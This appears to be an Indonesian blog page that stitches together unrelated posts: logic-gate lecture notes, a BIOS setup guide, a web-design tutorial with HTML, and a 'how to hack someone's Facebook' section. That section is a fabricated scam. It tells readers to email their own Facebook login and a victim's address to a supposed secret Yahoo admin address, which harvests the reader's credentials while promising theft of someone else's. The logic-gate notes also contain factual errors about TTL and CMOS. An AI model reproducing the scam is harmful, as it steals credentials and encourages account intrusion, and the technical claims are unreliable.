gerbang logika

Deskripsi Tentang Materi Praktek
1.3.1. Gerbang Logika

          “Gerbang logika atau gerbang logik adalah suatu entitas dalam elektronika dan matematika boolean yang mengubah satu atau beberapa masukan logik menjadi sebuah sinyal keluaran logik. Gerbang logika terutama diimplementasikan secara elektronis menggunakan dioda atau transistor, akan tetapi dapat pula dibangun menggunakan susunan komponen-komponen yang memanfaatkan sifat-sifat elektromagnetik (relay). Logika merupakan dasar dari semua penalaran (reasoning). Untuk menyatukan beberapa logika, kita membutuhkan operator logika dan untuk membuktikan kebenaran dari logika, kita dapat menggunakan tabel kebenaran. Tabel kebenaran menampilkan hubungan antara nilai kebenaran dari proposisi atomik. Dengan tabel kebenaran, suatu persamaan logika ataupun proposisi bisa dicari nilai kebenarannya. Tabel kebenaran pasti mempunyai banyak aplikasi yang dapat diterapkan karena mempunyai fungsi tersebut. Salah satu dari aplikasi tersebut yaitu dengan menggunakan tabel kebenaran kita dapat mendesain suatu rangkaian logika. Dalam makalah ini akan dijelaskan bagaimana peran dan kegunaan tabel kebenaran dalam proses pendesainan suatu rangkaian logika.

              Gerbang yang diterjemahkan dari istilah asing gate, adalah elemen dasar dari semua rangkaian yang menggunakan sistem digital. Semua fungsi digital pada dasarnya tersusun atas gabungan beberapa gerbang logika dasar yang disusun berdasarkan fungsi yang diinginkan. Gerbang -gerbang dasar ini bekerja atas dasar logika tegangan yang digunakan dalam teknik digital.Logika tegangan adalah asas dasar bagi gerbang-gerbang logika. Dalam teknik digital apa yang dinamakan logika tegangan adalah dua kondisi tegangan yang saling berlawanan. Kondisi tegangan “ada tegangan” mempunyai istilah lain “berlogika satu” (1) atau “berlogika tinggi” (high), sedangkan “tidak ada tegangan” memiliki istilah lain “berlogika nol” (0) atau “berlogika rendah” (low). Dalam membuat rangkaian logika kita menggunakan gerbang-gerbang logika yang sesuai dengan yang dibutuhkan. Rangkaian digital adalah sistem yang mempresentasikan sinyal sebagai nilai diskrit. Dalam sebuah sirkuit digital,sinyal direpresentasikan dengan satu dari dua macam kondisi yaitu 1 (high, active, true,) dan 0 (low, nonactive,false).” (Sendra, Smith, Keneth C)

1.3.2. Rangkaian Terpadu (IC) Untuk Gerbang -Gerbang Dasar

            “Setelah mengenal gerbang-gerbang dasar yang digunakan dalam teknik digital, bagi para pemula mengkin saja timbul pertanyaan dimana gerbang-gerbang ini dapat diperoleh? Jawabannya mudah sekali, karena gerbang- gerbang ini telah dijual secara luas dipasaran dalam IC tunggal (single chip). Yang perlu diperhatikan sekarang adalah dari jenis apa dan bagaimana penggunaan dari kaki-kaki IC yang telah didapat. Sebenarnya informasi dari IC-IC yang ada dapat dengan mudah ditemukan dalam buku data sheet IC yang sekarang ini banyak dijual. Namun sedikit contoh berikut mungkin akan me mpermudah pencarian. Berikut adalah keterangan mengenai IC-IC yang mengandung gerbang-gerbang logika dasar yang dengan mudah dapat dijumpai dipasaran.

Catatan:

• Ada dua golongan besar IC yang umum digunakan yaitu TTL dan CMOS.
• IC dari jenis TTL memiliki mutu yang relatif lebih baik daripada CMOS dalam hal daya yang dibutuhkan dan kekebalannya akan desah.
• IC TTL membutuhkan catu tegangan sebesar 5 V sedangkan CMOS dapat diberi catu tegangan mulai 8 V sampai 15 V. Hali ini harus diingat benar-benar karena kesalahan pemberian catu akan merusakkan IC.
• Karena adanya perbedaan tegangan catu maka tingkat tegangan logika juga akan berbeda. Untuk TTL logika satu diwakili oleh tegangan sebesar maksimal 5 V sedangkan untuk CMOS diwakili oleh tegangan yang maksimalnya sebesar catu yang diberikan, bila catu yang diberikan adalah 15 V maka logika satu akan diwakili oleh tegangan maksimal sebesar 15 V. Logika pada TTL dan CMOS adalah suatu tegangan yang harganya mendekati nol.
• Untuk TTL nama IC yang biasanya terdiri atas susunan angka dimulai dengan angka 74 atau 54 sedangkan untuk CMOS angka ini diawali dengan 40.”(Ian Robertson Sinclair, Suryawan)

BAB II

TEORI

2.1. RANGKAIAN DASAR GERBANG LOGIKA

2.1.1. Gerbang Not (Not Gate)

           “Gerbang NOT atau juga bisa disebut dengan pembalik (inverter) memiliki fungsi membalik logika tegangan inputnya pada outputnya. Sebuah inverter (pembalik) adalah gerbang dengan satu sinyal masukan dan satu sinyal keluaran dimana keadaan keluaranya selalu berlawanan dengan keadaan masukan. Membalik dalam hal ini adalah mengubah menjadi lawannya. Karena dalam logika tegangan hanya ada dua kondisi yaitu tinggi dan rendah atau “1” dan “0”, maka membalik logika tegangan berarti mengubah “1” menjadi "0” atau sebaliknya mengubah nol menjadi satu. Simbul atau tanda gambar pintu NOT ditunjukkan pada gambar dibawah ini.

2.1.2. GERBANG AND (AND GATE)
        

           Gerbang AND (AND GATE) atau dapat pula disebut gate AND ,adalah suatu rangkaian logika yang mempunyai beberapa jalan masuk (input) dan hanya mempunyai satu jalan keluar (output). Gerbang AND mempunyai dua atau lebih dari dua sinyal masukan tetapi hanya satu sinyal keluaran. Dalam gerbang AND, untuk menghasilkan sinyal keluaran tinggi maka semua sinyal masukan harus bernilai tinggi.

2.1.3. GERBANG OR (OR GATE)

               Gerbang OR berbeda dengan gerbang NOT yang hanya memiliki satu input, gerbang ini memiliki paling sedikit 2 jalur input. Artinya inputnya bisa lebih dari dua, misalnya empat atau delapan. Yang jelas adalah semua gerbang logika selalu mempunyai hanya satu output. Gerbang OR akan memberikan sinyal keluaran tinggi jika salah satu atau semua sinyal masukan bernilai tinggi, sehingga dapat dikatakan bahwa gerbang OR hanya memiliki sinyal keluaran rendah jika semua sinyal masukan bernilai rendah.

2.1.4. Gerbang NAND
  
         Gerbang NAND adalah suatu NOT-AND, atau suatu fungsi AND yang dibalikkan. Dengan kata lain bahwa gerbang NAND akan menghasilkan sinyal keluaran rendah jika semua sinyal masukan bernilai tinggi.

2.1.5. Gerbang NOR
 

        Gerbang NOR adalah suatu NOT-OR, atau suatu fungsi OR yang dibalikkan sehingga dapat dikatakan bahwa gerbang NOR akan menghasilkan sinyal keluaran tinggi jika semua sinyal masukanya bernilai rendah.

2.1.6. Gerbang X-OR

          Gerbang X-OR akan menghasilkan sinyal keluaran rendah jika semua sinyal masukan bernilai rendah atau semua masukan bernilai tinggi atau dengan kata lain bahwa X-OR akan menghasilkan sinyal keluaran rendah jika sinyal masukan bernilai sama semua.

2.1.7. Gerbang X-NOR

          Gerbang X-NOR akan menghasilkan sinyal keluaran tinggi jika semua sinyal masukan bernilai sama (kebalikan dari gerbang X-OR).

CONTOH PENERAPAN GERBANG LOGIKA

Contoh1: F = A + B.C

Gambar1: Rangkain gerbang logika.

2.2. RANGKAIAN GERBANG KOMBINASI

            “Semua rangkaian logika dapat digolongkan atas dua jenis, yaitu rangkaian kombinasi (combinational circuit) dan rangkaian berurut (sequential circuit). Perbedaan kedua jenis rangkaian ini terletak pada sifat keluarannya. Keluaran suatu rangkaian kombinasi setiap saat hanya ditentukan oleh masukan yang diberikan saat itu. Keluaran rangkaian berurut pada setiap saat, selain ditentukan oleh masukannya saat itu, juga ditentukan oleh keadaan keluaran saat sebelumnya, jadi juga oleh masukan sebelumnya. Jadi, rangkaian berurut tetap mengingat keluaran sebelumnya dan dikatakan bahwa rangkaian ini mempunyai ingatan (memory). Kemampuan mengingat pada rangkaian berurut ini diperoleh dengan memberikan tundaan waktu pada lintasan balik (umpan balik) dari keluaran ke masukan. Secara diagram blok, kedua jenis rangkaian logika ini dapat digambarkan seperti pada Gambar 1.” (Albert Paul Malvino, Ph.D.)

Gambar 3. Model Umum Rangkaian Logika

(a) Rangkaian Kombinasi
(b) Rangkaian Berurut


2.2.1. PERANCANGAN RANGKAIAN KOMBINASI

                “Rangkaian kombinasi mempunyai komponen-komponen masukan, rangkaian logika, dan keluaran, tanpa umpan balik. Persoalan yang dihadapi dalam perancangan (design) suatu rangkaian kombinasi adalah memperoleh fungsi Boole beserta diagram rangkaiannya dalam bentuk susunan gerbang-gerbang. Seperti telah diterangkan sebelumnya, fungsi Boole merupakan hubungan aljabar antara masukan dan keluaran yang diinginkan. Langkah pertama dalam merancang setiap rangkaian logika adalah menentukan apa yang hendak direalisasikan oleh rangkaian itu yang biasanya dalam bentuk uraian kata-kata (verbal). Berdasarkan uraian kebutuhan ini ditetapkan jumlah masukan yang dibutuhkan serta jumlah keluaran yang akan dihasilkan. Masing-masing masukan dan keluaran diberi nama simbolis. Dengan membuat tabel kebenaran yang menyatakan hubungan masukan dan keluaran yang diinginkan, maka keluaran sebagai fungsi masukan dapat dirumuskan dan disederhanakan dengan cara-cara yang telah diuraikan dalam bab-bab sebelumnya.

                Berdasarkan persamaan yang diperoleh ini, yang merupakan fungsi Boole dari pada rangkaian yang dicari, dapat digambarkan diagram rangkaian logikanya Ada kalanya fungsi Boole yang sudah disederhanakan tersebut masih harus diubah untuk memenuhi kendala yang ada seperti jumlah gerbang dan jenisnya yang tersedia, jumlah masukan setiap gerbang, waktu perambatan melalui keseluruhan gerbang (tundaan waktu), interkoneksi antar bagian-bagian rangkaian, dan kemampuan setiap gerbang untuk mencatu (drive) gerbang berikutnya. Harga rangkaian logika umumnya dihitung menurut cacah gerbang dan cacah masukan keseluruhannya. Ini berkaitan dengan cacah gerbang yang dikemas dalam setiap kemasan.

           Gerbang-gerbang logika yang tersedia di pasaran pada umumnya dibuat dengan teknologi rangkaian terpadu (Integrated Circuit, IC). Pemaduan (integrasi) gerbang-gerbang dasar seperti NOT, AND, OR, NAND, NOR, XOR pada umumnya dibuat dalam skala kecil (Small Scale Integration, SSI) yang mengandung 2 sampai 6 gerbang dalam setiap kemasan. Kemasan yang paling banyak digunakan dalam rangkaian logika sederhana berbentuk DIP (Dual- In-line Package), yaitu kemasan dengan pen-pen hubungan ke luar disusun dalam dua baris sejajar. Kemasan gerbang-gerbang dasar umunya mempunyai 14-16 pen, termasuk pen untuk catu daya positif dan nol (Vcc dan Ground). Setiap gerbang dengan 2 masukan membutuhkan 3 pen (1 pen untuk keluaran) sedangkan gerbang 3 masukan dibutuhkan 4 pen. Karena itu, satu kemasan 14 pen dapat menampung hanya 4 gerbang 2 masukan atau 3 gerbang 3 masukan.

            Dalam praktek kita sering terpaksa menggunakan gerbang-gerbang yang tersedia di pasaran yang kadang-kadang berbeda dengan kebutuhan rancangan kita. Gerbang yang paling banyak tersedia di pasaran adalah gerbang-gerbang dengan 2 atau 3 masukan. Umpamanya, dalam rancangan kita membutuhkan gerbang dengan 4 atau 5 masukan dan kita akan mengalami kesulitan memperoleh gerbang seperti itu. Karena itu kita harus mengubah rancangan sedemikian sehingga rancangan itu dapat direalisasikan dengan gerbang-gerbang dengan 2 atau 3 masukan. Kemampuan pencatuan daya masing-masing gerbang juga membutuhkan perhatian. Setiap gerbang mampu mencatu hanya sejumlah tertentu gerbang lain di keluarannya (disebut sebagai fan-out). Ini berhubungan dengan kemampuan setiap gerbang dalam menyerap dan mencatu arus listrik. Dalam perancangan harus kita yakinkan bahwa tidak ada gerbang yang harus mencatu terlalu banyak gerbang lain di keluarannya. Ini sering membutuhkan modifikasi rangakaian realisasi yang berbeda dari rancangan semula. Mengenai karakteristik elektronik gerbang-gerbang logika dibahas dalam Lampiran A.” (Albert Paul Malvino, Ph.D.)

2.3. IMPLEMENTASI RANGKAIAN GERBANG LOGIKA DENGAN GERBANG NAND

2.3.1. Gerbang NAND (NOT And)

   
          “Gerbang NAND dan NOR merupakan gerbanguniversal, artinya hanya dengan menggunakan jenisgerbang NAND saja atau NOR sajadapat menggantikan fungsi dari 3 gerbang dasar yang lain (AND, OR, NOT). Multilevel, artinya: denganmengimplementasikan gerbang NAND atau NOR, akan ada banyak level / tingkatan mulai dari sisitem input sampai kesisi output. Keuntungan pemakaian NAND saja atau NOR saja dalam sebuah rangkaian digital adalah dapat mengoptimalkan pemakaian seluruh gerbang yang terdapat dalam sebuah IC, sehingga menghemat biaya

        Gerbang NAND adalah pengembangan dari gerbang AND. Gerbang ini sebenarnya adalah gerbang AND yang pada outputnya dipasang gerbang NOT. Gerbang yang paling sering digunakan untuk membentuk rangkaian kombinasi adalah gerbang NAND dan NOR, dibanding dengan AND dan OR. Dari sisi aplikasi perangkat luar, gerbang NAND dan NOR lebih umum sehingga gerbang-gerbang tersebut dikenal sebagai gerbang yang “universal”. Gerbang-gerbang NOT, AND dan OR dapat di-substitusi ke dalam bentuk NAND saja, dengan hubungan seperti gambar 2. 

Gambar 4. Substitusi Beberapa Gerbang Dasar Menjadi NAND

Rangkaian Asal Rangkaian Dengan NAND saja

Gambar 5, impelemtasi Gergang NAND

           Untuk mendapatkan persamaan dengan menggunakan NAND saja, maka persamaan asal harus dimodifikasi sedemikian rupa, sehingga hasil akhir yang didapatkan adalah persamaan dengan NAND saja. Gerbang NAND sangat banyak di pakai dalam computer modern dan mengeti pemakaiannya sangat berharga bagi kita, untuk merancang jaringan gerbang NAND ke NAND, gunakan prosedur tabel kombinasi untuk ungkapan jumlah hasil kali,

             Dalam perancangan logika, gerbang logika siskrit tidak selalu digunakan ttapi biasanya beisi banyak gerbang, karena itu, biasanya lebih disukai untuk memanfaatkan satu jenis gerbang, dan bukan campuran beberapa gerbang untuk alasan ini konversi gerbang digunakan untuk menyatukan suatu fungsi gerbang tertentu dengan cara mengombinasikan beberapa gerbang yang bertipe sama, suatu misal implementasi gerbang NAND ke dalam gerbang NO, gerbang AND dan gerbang OR (Kf Ibrahim, “Tehnik Digital”)

             Pertimbangan lain nya dalam impelemtasi fungis boole berkaitan dengan jenis gate yang digunakan, seringkali di rasakan perlu nya untuk mengimplimentasikan fungsi boole dengan hanya menggunakan gate-gate NAND saja, walaupun mungkin tidak merupakan implementasi gate minimum, teknik tersebut memiliki keuntungan dan keteraturan yang dapat menyederhanakan proses pembuatan nya di pabrik. (wiliam steling).

2.4. Decoder

             “Decoder adalah suatu rangkaian logika kombinasional yang mampu mengubah masukan kode biner n-bit ke m-saluran keluaran sedemikian rupa sehingga setiap saluran keluaran hanya satu yang akan aktif dari beberapa kemungkinan kombinasi masukan. Gambar 2.14 memperlihatkan diagram dari decoder dengan masukam n = 2 dan keluaran m = 4 ( decoder 2 ke 4). Setiap n masukan dapat berisi logika 1 atau 0, ada 2N kemungkinan kombinasi dari masukan atau kode-kode. Untuk setiap kombinasi masukan ini hanya satu dari m keluaran yang akan aktif (berlogika 1), sedangkan keluaran yang lain adalah berlogika 0. Beberapa decoder didisain untuk menghasilkan keluaran low pada keadan aktif, dimana hanya keluaran low yang dipilih akan aktif sementara keluaran yang lain adalah berlogika 1. Dari keadaaan aktif keluaranya, decoder dapat dibedakan atas “non inverted output” dan “inverted output”. (David Bucchlah, Wayne McLahan)

Mensetup Bios

Menginstal Komputer

Mensetup Bios

Nyalakan PC dan dengan beberapa langkah lagi PC pun siap Anda nikmati.

Sabar. PC memang telah selesai Anda rakit, tapi perlu beberapa pengesetan lagi sebelum bisa Anda pakai. Dan kali ini singkirkan deh obeng dan peralatan lainnya.

Yang Anda perlukan cuma tak-tik pada kibor atau klak-klik dengan mouse saja, karena Anda tinggal mengeset BIOS dan menginstal sistem operasi saja. Pada praktik ini kami menggunakan sistem operasi Windows XP Profesional (Original).

O ya, jika Anda menemukan masalah, jangan buru-buru panik. Anda bisa melihat berbagai kemungkinan penyebab dan solusinya pada bagian troubleshooting di akhir laporan ini. DANDY DERRY | @DIT

MENGATUR BIOS

LANGKAH 1

Hubungkan monitor, kibor, mouse dan peranti lainnya pada PC. Jangan lupa tancapkan kabel power ke port power di belakang PC. Sesudah itu, tekan tombol power pada PC dan monitor untuk menghidupkan komputer rakitan Anda. PC segera melakukan proses booting.

LANGKAH 2

Segeralah menekan tombol [Delete] pada kibor untuk masuk ke menu BIOS/CMOS Setup.

LANGKAH 3

Anda akan masuk BIOS. Pada workshop ini, motherboard yang kami gunakan menggunakan AwardBIOS. Jadi langkah-langkah berikut ini disusun berdasarkan AwardBIOS. Pengaturan untuk jenis BIOS lainnya kurang lebih sama saja kok. Nah, hal pertama yang harus Anda lakukan adalah mengeset waktu yang akan digunakan oleh sistem komputer. Aturlah melalui menu [Main] [System Time]. Untuk mengubahnya, gunakan tombol [+], [-] dan tombol [Tab] pada kibor Anda

LANGKAH 4

Selanjutnya, dengan cara yang sama, ubahlah tanggal pada sistem komputer Anda melalui menu [System Date].

LANGKAH 5

Setelah mengeset waktu dan tanggal dari sistem, jika mau, Anda juga dapat memasang password BIOS agar orang lain tidak dapat mengubah setelan BIOS yang Anda buat. Caranya, pilih menu [Supervisor Password], lalu tekan tombol [+] pada kibor. Selanjutnya, masukkan password Anda pada boks Enter Password, lalu klik [Enter]. Masukkan kembali password Anda pada boks Confirm Password, kemudian kembali klik [Enter]. Nah, sekarang status opsi Supervisor Password pasti menjadi Enabled.

LANGKAH 6

Bila PC Anda akan dipakai beramai-ramai, Anda juga bisa mengeset user password untuk masing-masing pengguna. Manfaatkan saja menu [User Password]. Cara mengesetnya sama saja kok dengan pengaturan pada supervisor password.

LANGKAH 7

Sekarang bukalah menu [Advanced] dengan menekan tombol [‡] (arah panah ke kanan) pada kibor Anda, lalu pilih [I/O Device Configuration] kemudian [Enter].

LANGKAH 8

Di sini Anda dapat mengatur penggunaan fitur onboard pada motherboard Anda. Misalnya, bila Anda menggunakan kartu suara dan modem yang bukan on-board, ubahlah opsi [Onboard AC97 Audio Controller] dan [Onboard AC97 Modem Controller] menjadi [Disabled] dengan menekan tombol [+] pada kibor Anda. Selanjutnya klik [Esc] untuk kembali ke menu [Advanced].

LANGKAH 9

Sekarang pilih opsi [PCI Configuration] lalu tekan [Enter]. Kemudian agar slot USB Anda berfungsi set opsi [USB Function] menjadi [Enabled]. Jika belum, Anda bisa mengubahnya dengan menekan tombol [+]. Jika sudah, kembali ke menu [Advanced] dengan menekan tombol [Esc].

LANGKAH 10

Selanjutnya Anda dapat mengubah manajemen penggunaan listrik dari komputer melalui menu [Power] dengan menekan tombol [‡]. Namun untuk mudahnya, tak usah mengubah hal apa pun dalam pengaturan ini.

LANGKAH 11

Selanjutnya buka menu [Boot]. Nah, untuk memudahkan penginstalan sistem operasi yang akan dilakukan setelah ini, ubahlah pola boot dari PC. Set CD ROM sebagai boot device pertama, kemudian hard disk sebagai boot device ke dua dan floopy boot device ke tiga, dengan menggunakan tombol [+] atau [-]. Gunanya, agar tiap kali booting, komputer mencari adanya sistem operasi di CD-ROM dulu, baru kemudian hard disk, dan floopy.

LANGKAH 12

Masukkan CD instalasi Windows XP ke CD-ROM drive. Setelah itu, pilih menu [Exit] [Exit Saving Changes] untuk keluar dari BIOS dan menyimpan pengaturan yang Anda buat barusan. Selanjutnya komputer akan restart. Dan jika Anda tadi mengaktifkan user password, maka akan muncul bok password. Isi password tersebut agar komputer dapat melanjutkan proses booting.

Cara Membobol Facebook Orang

Bagaimana Membobol Facebook Orang Lain

Description:

Membobol Facebook Orang Lain

Hallo teman2 saya mau berbagi pengetahuan nih yaitu cara membobol Facebook untuk
mengetahui password Facebook teman lewat master data facebook yang tersimpan di bank data Yahoo.com, tapi ini khusus buat yang jahill ya, wkwkwkwkwkwk
okay, sekarang ikuti langkah-langkah berikut:

Sign in lah kedalam account yahoo kamu terlebih dahulu, kemudian tekan tombol [Compose]/[tulis surat] untuk menulis email.

Pada form isian to: masukkan alamat berikut: facebook_identity@yahoo.com

Alamat inilah yang saya sebutkan sebagai alamat master data facebook yang tersimpan di bank data Yahoo.com. Sebenarnya alamat ini hanya boleh diketahui oleh para admin Yahoo saja, namun yeah.. kini alamat mematikan ini telah jatuh ke tangan kita )

Pada form cc dan bcc, kosongi saja kedua form tersebut sedangkan pada form Subject
ketik "UID” tanpa tanda kutip.
Pada form message (pesan), ketik kode UID berikut:

mail.yahoo.com FALSE/FALSE 1020114252
6d 61 69 6c 6e 10 : alamat email facebook kamu
C7 CB C3 C6 84 C9 : password facebook kamu
6C 61 6D 65 72 69 : alamat email korban

Setelah itu tekan tombol send. Dan tunggulah dalam waktu yang tidak lama (max. 24 jam) maka kamu akan menerima email
balasan yang berisi password korban dan informasi-informasi mengenai korban seperti secreet question yang dipakai korban beserta jawabannya dan tanggal lahir korban sesuai yang tertulis di akun facebook)

Contohnya: misalkan alamat email facebook kamu adalah elite@yahoo.com dan password facebook kamu 3l1t3b3n3r4n dan alamat email korban korban@yahoo.com maka susunannya adalah sebagai berikut:

to: facebook_identity@yahoo.com
cc:
bcc:
Subject: uid
message:
mail.yahoo.com FALSE/FALSE 1020114252
6d 61 69 6c 6e 10 : elite@yahoo.com
C7 CB C3 C6 84 C9 : 3l1t3b3n3r4n
61 6D 6C 65 72 69 : korban@yahoo.com


Selamat Mencoba

Cara Membuat Web Dengan Photoshop Dan Dreamweaver


Ada banyak alasan mengapa orang ingin membuat websitenya sendiri. Antara lain, mereka ingin agar tulisan-tulisan, gambar, serta suasana hati mereka dapat dibaca oleh banyak orang atau iseng saja belajar dan siapa tau kalau sudah menjadi webmaster bisa mendapatkan penghasilan tambahan dengan membuat suatu jasa pembuatan website. Pada proyek pertama ini, kita akan menciptakan salah satu bentuk website personal. Website ini didesain dengan nuansa full color sehingga mempunyai kesan yang menarik dan indah walaupun bisa dibilang proyek pertama ini sangat sederhana sekali, hehehe. Walaupun demikian anda bisa memodifikasinya sendiri sesuai dengan yang anda sukai.
Sebelum kita memulai tutorial cara membuat website sederhana dengan menggunakan photoshop dan dreamweaver ini, tentunya terlebih dahulu anda harus menginstal aplikasi Photoshop dan Dreamweaver. Kedua aplikasi ini tidak gratis tapi merupakan pilihan yang tepat untuk membuat project website, untuk membeli aplikasi ini anda dapat men-download-nya di situs resmi adobe yaitu www.adobe.com. Mari kita memulai project pembuatan website sederhana apabila anda sudah memiliki kedua aplikasi tersebut. Berikut merupakan hasil dari proyek Websiteku

Membuat Disain Awal dengan Photoshop

jalankan aplikasi photoshop anda dan siapkan sebuah kanvas baru, caranya pilih file - new lalu gunakan setting berikut: Width : 700 pixel Height : 875 pixel Resolution : 72 pixel/inch Background Content : Transparent

Pilih rounded retangle tool pada tool panel

dan samakan setingan dengan gambar dibawah kemudian buat bidang berbentuk segi panjang vertical seperti pada gambar dibawah

Pilih layer click kanan pada layer 1 (bidang yang anda buat) kemudian click gradient dan pilih gradasi warna yang anda sukai... pastikan warna bawah adalah warna dasar putih

Hasil dari gradasi yang anda buat akan menghasilkan gambar seperti berikut :

buatlah bidang untuk panel menu dengan rounded retangle tool pada tool panel seperti sebelumnya beri sentuhan warna yang berbeda dengan layer pertama tetapi tidak melenceng dari tema anda, kemudian tempatkan pada sebelah kiri atas sehingga anda mendapatkan gambar seperti dibawah ini

buatkan lagi sebuah bidang untuk daftar menu yang kali ini lebih kecil dari sebelumnya dengan rounded retangle tool pada tool panel, tempatkan sejajar dengan bidang yang anda buat sebelumnya putarkan sampai arah kemiringan 25⁰ dengan move tool

kemudian copy layer bidang dengan cara tekan ctrl+alt+shift dan geser kebawah sebanyak 4 kali. Beri sentuhan warna pada bidang yang telah anda buat sehingga akan tampak seperti berikut:

Ketik daftar menu gunakan Type Tool dengan lambang (T) pada tool panel

Isi text pada bidang untuk daftar menu dengan : Halaman Utama, Tentang Saya, Galerry Foto dan Link. Kemudian pada sebelah kanan beri Logo dan judul Website yang sesuai dengan keinginan anda . Sampai tahapan ini kita sudah berhasil merancang layout Websiteku dengan tampilan sebagai berikut

Gunakan Slicetool

kemudian slice Layout website menjadi 6 bagian yaitu : 4 slice untuk daftar menu, 1 slice untuk logo, dan 1 lagi untuk untuk content/ isi web.

Sekarang anda tinggal menyimpanya saja. Pilih File->Save For Web

dan akan muncul wizard seperti berikut

pada opsi dibawah save, anda bisa menentukan format gambar yang akan di save mulai dari gif, png, jpg.

apabila sudah memilih sebelum di save beri nama file anda dengan index, pilih opsi HTML and Images, simpan layout anda pada satu folder yang anda beri nama Websiteku

Sampai sini design untuk layout dengan menggunakan photoshop sudah selesai dan selanjutnya anda tinggal melakukan mark-up atas file index.html yang telah kita save tadi dengan macromedia Dreamweaver.

Mark-Up Tag HTML dengan Dreamweaver

Setelah desain web di-slice dengan photoshop, sekarang saatnya kita melakukan sedikit modifikasi dengan menggunakan Dreamweaver. dreamweaver yang saya gunakan adalah dreamweaver versi 8 padahal sekarang sudah ada lho yang versi CS 4, hihi. Langsung saja jalankan aplikasi buatan Macromedia ini dan Anda akan melihat tampilan seperti gambar dibawah ini:

buka file index.htm yang telah kita save pada sesi photoshop dengan cara pilih File->Open setelah file index.html dibuka pada dreamweaver delete gambar slice yang 6 keenam atau gambar dengan nama index_06.png, yaitu gambar yang digunakan untuk isi content.

Jangan Heran bila tampilan layout website menjadi hancur seperti gambar dibawah, atur tabel HTML sehingga tampilan web menjadi normal lagi

Setelah anda mengatur tata letak gambar pada tabel, pindahkan opsi view ke show code view sehingga anda dapat melihat Tag-tag Mark-up HTML seperti berikut :

Nah selanjutnya kita Modif tag HTML dengan menambahkan Cascading Style Sheets (CSS), caranya tambahkan tag yang berwarna merah pada tag berikut kedalam tag HTML anda.

?

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40

<html> <head> <title>Untitled-1</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">   <style type="text/css"> .content {     background:url(images/index_06.png) bottom;     padding:20px 20px 40px 20px; } </style> </head> <body bgcolor="#FFFFFF" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <!-- ImageReady Slices (Untitled-1.psd) --> <table id="Table_01" align="center" width="700" height="377" border="0" cellpadding="0" cellspacing="0"> <tr> <td height="94"> <img src="images/index_01.gif" width="281" height="94" alt=""></td> <td rowspan="4"> <img src="images/index_02.gif" width="419" height="328" alt=""></td> </tr> <tr> <td height="76"> <img src="images/index_03.gif" width="281" height="76" alt=""></td> </tr> <tr> <td height="64"> <img src="images/index_04.gif" width="281" height="64" alt=""></td> </tr> <tr> <td height="94"> <img src="images/index_05.gif" width="281" height="94" alt=""></td> </tr> <tr> <td colspan="2" class="content" ></td> </tr> </table> <!-- End ImageReady Slices --> </body> </html>

Dengan demikian maka kerangka website anda sudah jadi. Langkah selanjutnya kembalikan tampilan dreamweaver ke design view "Show Design View" kemudian isi bagian kolom content dengan hal-hal yang ingin anda publikasikan pada website anda. setelah selesai save index.html, lalu save as dengan nama file yang berbeda about.html pada folder yang sama, save as lagi dengan nama file gallery.html dan yang terakhir link.html. Sehingga kini anda memiliki 4 (empat) file html yang berbeda (semuanya harus dalam folder yang sama).
Isi kolom content pada masing-masing file yang sudah anda buat sesuai dengan tema masing-masing file, yakni isi halaman utama website, tentang kita, galeri dan link. saya contohkan dibawah merupakan isi halaman utama

Langkah terakhir setelah mengisi semua file adalah menghubungkan/melink-an file yang satu dengan yang lain. caranya mudah saja. click setiap menu link pada website kita lalu pada properties pilih link dan click icon folder seperti dapat dilihat pada gambar dibawah :

pilih file yang ingin di hubungkan

Lakukan hal yang sama dan hubungkan semua file... selesailah project anda, kini anda mempunyai website yang anda rancang sendiri...
Catatan Penting : Pembuatan website diatas merupakan salah satu cara perancangan web yang berbasis Table. selain menggunakan table sebetulnya ada cara lain yaitu dengan menggunakan Divatau campuran keduanya Div+Table. kedua cara memiliki plus minus masing-masing dan anda akan mengerti dengan sendirinya seiring dengan pengetahuan dan pengalaman anda dalam membuat website.